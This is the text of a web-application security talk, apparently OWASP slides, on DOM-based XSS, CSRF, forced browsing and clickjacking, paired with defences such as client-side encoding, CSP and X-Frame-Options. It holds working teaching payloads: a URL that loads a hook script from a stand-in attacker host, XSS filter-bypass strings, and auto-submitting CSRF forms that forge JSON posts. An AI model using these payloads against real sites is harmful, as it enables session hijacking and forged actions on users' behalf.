  • 17. Cross-Site Scripting Type 2, stored Scripting
  • 18. Cross-Site Scripting Type 0, DOM-based g ip tin Scr Cros s-Sit e Ph is ing
  • 19. Cross-Site Scripting Type 0, DOM-based g ip tin Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isi in thenDOM. g
  • 21. https://secure.bank.com/ authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page
  • 22. Would you click this? https://secure.bank.com/authentication #language=<script src="http://attackr.se: 3000/hook.js"></script>&country=SE
  • 23. Would you click this? https://secure.bank.com/authentication #language=%3Cscript%20src%3D%22http%3A%2F %2Fattackr.se%3A3000%2Fhook.js%22%3E%3C %2Fscript%3E&country=SE
  • 24. Would you click this? http://bit.ly/Yg4T32
  • 25. Filter out <script>? var ... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig, /** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */ stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, ""); }, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
  • 26. Filter out <script>? <img src=1 onerror=alert(1)> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <body onload=alert('XSS')> <table background="javascript:alert('XSS')"> ¼script¾alert(¢XSS¢)¼/script¾ <video poster=javascript:alert(1)//
  • 27. ”C’mon, such attacks don’t really work, do they?” Yep, demo.
  • 28. DOM-Based XSS Twitter September 2010 Full story at http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
  • 29. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 30. (function(g){ What does this code do? var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 31. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 32. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path } })(window);
  • 33. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path } So })(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/
  • 35. http://twitter.com/ #!javascript:alert(document.domain); Never sent to server => DOM-based XSS
  • 36. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; }
  • 37. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; } Replaces the first occurance of the search string
  • 40. The 2nd Patch™ (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window);
  • 41. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters
  • 42. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match
  • 43. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match Ignore case
  • 46. http://twitter.com #!javascript&x58;alert(1) HTML entity version of ’:’
  • 47. The n:th Patch™ (this one works) (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; } })(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security
  • 48. Fix these issues properly with ... Client-Side Encoding
  • 49. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 50. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 51. Let’s do a short demo of that
  • 52. Also, check out ... Content Security Policy http://people.mozilla.com/~bsterne/ content-security-policy/
  • 53. New HTTP Response Header Saying ... Only allow scripts from whitelisted domains and only allow scripts from files, i.e. no inline scripts
  • 54. 'self' = same URL, protocol and port X-Content-Security-Policy: default-src 'self' Accept all content including scripts only from my own URL+port X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com
  • 56. Cross-Site Request Forgery Request For gery Cro ss-S ite
  • 57. Cross-Site Request Forgery Request Forgery Cros s-Site Ph isin g
  • 58. Is www.attackr.se allowed to load images like this: <img src=”https://secure.bank.com/ logo.png" /> ?
  • 59. Is www.attackr.se allowed to load images like this: <img src=”https://secure.bank.com/ authentication#language=sv&country=SE" /> ?
  • 60. With image tags www.attackr.se can silently send HTTP GET requests to any domain <img src=”https://secure.bank.com/ authentication#language=sv&country=SE" height=0 width=0 />
  • 61. ”Will restricting to HTTP POST save me?”
  • 62. What’s on your mind? What’s on your mind? POST POST
  • 63. What’s on your mind? What’s on your mind? I love OWASP! POST POST
  • 64. What’s on your mind? What’s on your mind? I love OWASP! POST POST John: I love OWASP!
  • 65. What’s on your mind? What’s on your mind? POST POST
  • 66. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 67. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 68. What’s on your mind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP!
  • 69. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>
  • 70. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script>
  • 71. There used to be a protection in web 1.5
  • 72. Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy!
  • 73. Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy!
  • 74. Forced Browsing wizard-style Token 1 Token 2 Token 3
  • 75. Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between
  • 76. Forced Browsing wizard-style Token 1 Token 2 Token 3 ge for n’t to uld est Co qu re t step las out a w tith oken va lid
  • 77. But in RIAs ...
  • 78. RIA & client-side state { ”purchase”: {} }
  • 79. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 80. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 81. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 82. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 83. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 84. Can an attacker forge such a JSON structure?
  • 85. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 86. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 87. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 88. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 89. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that <input type="text" like this: looks name=”” value="" /> theName=theValue ... and that’s not valid JSON. <input type="submit" value="Go" /> </form>
  • 90. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form>
  • 91. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" Produces a request body that looks enctype="text/plain"> like this: <input type="text" {"id": 0, "nickName": name='{"id": 0, "nickName": "John", "John","oneLiner": "I "oneLiner": "I hate OWASP!", hate OWASP!","timestamp": "timestamp": "20111006"}//' "20111006"}//=dummy value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form>
  • 92. Demo POST CSRF against REST service
  • 93. Demo XSS + CSRF with The Browser Exploitation Framework http://beefproject.com/
  • 94. Important in your REST API • Restrict HTTP method, e.g. POST Easier to do CSRF with GET • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi-part and text/plain
  • 95. Attacker may spoof headers via Flash proxy http://lists.webappsec.org/pipermail/ websecurity_lists.webappsec.org/2011- February/007533.html
  • 97. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 98. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 99. Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state
  • 100. Clickjacking ... or Likejacking or Followjacking or ...
  • 102. X-Frame-Options http://blogs.msdn.com/b/ie/archive/ 2009/01/27/ie8-security-part-vii- clickjacking-defenses.aspx http://tools.ietf.org/html/draft- gondrom-frame-options-01
  • 103. No page can load me in an iframe or only my own domain can load me in an iframe
  • 105. How To Get It Right • Join your local OWASP chapter https://www.owasp.org/index.php/OWASP_Chapter • Start following these fellas on Twitter: @WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc • Start hacking – it’s fun! Best place to start? Your own apps of course. Just stay legal ;)
  • 106. @johnwilander john.wilander@owasp.org http://appsandsecurity.blogspot.com

Notas do Editor

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. \n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n
  93. \n
  94. \n
  95. \n
  96. \n
  97. \n
  98. \n
  99. \n
  100. \n
  101. \n
  102. \n
  103. \n
  104. \n
  105. \n
  106. \n